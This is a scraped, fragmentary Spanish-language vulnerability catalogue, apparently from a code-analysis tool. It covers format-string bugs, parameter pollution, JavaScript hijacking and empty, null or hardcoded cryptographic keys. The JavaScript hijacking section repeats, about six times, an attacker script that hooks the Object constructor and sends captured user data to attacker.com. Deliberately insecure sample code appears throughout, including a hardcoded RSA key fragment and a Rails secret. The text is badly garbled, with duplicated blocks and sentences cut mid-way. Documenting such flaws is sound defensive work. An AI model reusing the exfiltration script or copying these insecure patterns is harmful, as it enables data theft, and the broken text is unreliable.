sprintf()
, FormatMessageW()
o syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, que la función utiliza como argumentos a los que aplicar un formato. (En este ejemplo, la función no utiliza ningún argumento al que se le vaya aplicar un formato.) Mediante la directiva de formato %n
, el usuario malintencionado puede escribir en la pila lo que provoca que snprintf()
escriba la salida de un número de bytes hasta el momento en el argumento especificado (en lugar de leer un valor del argumento, que es el comportamiento previsto). Una versión sofisticada de este ataque utilizará cuatro operaciones de escritura escalonadas para controlar por completo el valor de un puntero en la pila.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
se usa a menudo de la siguiente forma:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
es una cadena de formato, todas las directivas de formato incluidas en cmdBuf
se interpretan como se describe en el Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
o NSString.stringWithFormat
Ejemplo 1: el código siguiente utiliza un argumento de línea de comandos como una cadena de formato en NSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, que la función utiliza como argumentos a los que aplicar un formato. (En este ejemplo, la función no utiliza ningún argumento al que se le vaya aplicar un formato.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
se usa a menudo de la siguiente forma:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
es una cadena de formato, todas las directivas de formato incluidas en cmdBuf
se interpretan como se describe en el Example 1
.syslog()
:Ejemplo 4: las clases principales de Apple proporcionan vías interesantes para explotar las vulnerabilidades de la cadena de formato.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
se usa a menudo de la siguiente forma:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, pueden provocar vulnerabilidades cuando se utilizan incorrectamente. La combinación de manipulación de memoria y presuposiciones erróneas acerca del tamaño y la formación de una unidad de datos es el motivo principal de la mayoría de desbordamientos del búfer.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, pueden provocar vulnerabilidades cuando se utilizan incorrectamente. La combinación de manipulación de memoria y presuposiciones erróneas acerca del tamaño y la formación de una unidad de datos es el motivo principal de la mayoría de desbordamientos del búfer.f
desde un flotador usando un especificador de formato %d
.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
.
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
, este sitio dependerá de www.example.com
para suministrar código válido y malintencionado. Si los atacantes consiguen comprometer www.example.com
, podrán alterar el contenido de fancyWidget.js
para trastornar la seguridad del sitio. Podrían, por ejemplo, añadir código a fancyWidget.js
para robar los datos confidenciales de un usuario.
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
como en&poll_id=1
y después pueda modificar el poll_id
a su antojo.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
como en&poll_id=1
y después modifique poll_id
a su antojo.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
, pero ha agregado un name=alice&
adicional, y si se utiliza en un servidor que tome la primera repetición, podría suplantar a alice
para obtener más información sobre su cuenta.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script>
maliciosa (puesto que las etiquetas <script>
solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script>
maliciosa (puesto que las etiquetas <script>
solo generan solicitudes GET). No obstante, GWT ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
se ejecute correctamente, pero cualquier persona con acceso a él puede determinar que utiliza una clave HMAC vacía. Una vez distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
Ejemplo 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1
es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null
o con alguna otra debilidad inesperada.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null
o con alguna otra debilidad inesperada.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer los datos cifrados por el sistema.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
Ejemplo 2: el código siguiente realiza el cifrado AES con una clave de cifrado codificada de forma rígida:
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = 'secret_key'
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
import "crypto/hmac"
...
hmac.New(sha256.New, []byte("secret"))
...
...
private static String hmacKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
const hmacKey = "a secret";
const hmac = createHmac('sha256', hmacKey);
hmac.update(data);
...
hmacKey
codificada, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC.
...
CCHmac(kCCHmacAlgSHA256, "secret", 6, plaintext, plaintextLen, &output);
...
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...
...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("password");
...
const pbkdfPassword = "a secret";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"secret",
6,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "hardcodedpassword");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('password', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"secret",
6,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
Null
pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
var encryptionKey:ByteArray = null;
...
var aes.ICipher = Crypto.getCipher("aes-cbc", encryptionKey, padding);
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez lanzada la aplicación, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.Null
pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.null
. El uso de una clave de cifrado null
no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
char encryptionKey[] = null;
...
null
, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una idea acertada, ya que reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, y además dificulta en gran medida la solución del problema. Una vez que el código dañino se encuentra en producción, se requiere una revisión de software para cambiar la clave de cifrado null
. Si una cuenta protegida con la clave de cifrado null
se ve comprometida, los propietarios del sistema deben elegir entre la seguridad y la disponibilidad.null
:
...
aes.NewCipher(nil)
...
null
. Además, un usuario que aplique técnicas de descifrado básicas tiene muchas más probabilidades de descifrar con éxito los datos cifrados. Una vez distribuida la aplicación, se requiere una revisión de software para cambiar la clave de cifrado null
. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado null
.null
nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, pero también dificulta en gran medida la solución del problema. Una vez que el código dañino está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado null
. Si una cuenta protegida por la clave de cifrado null
se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.null
:
...
SecretKeySpec key = null;
....
Cipher encryptCipher = Cipher.getInstance("AES");
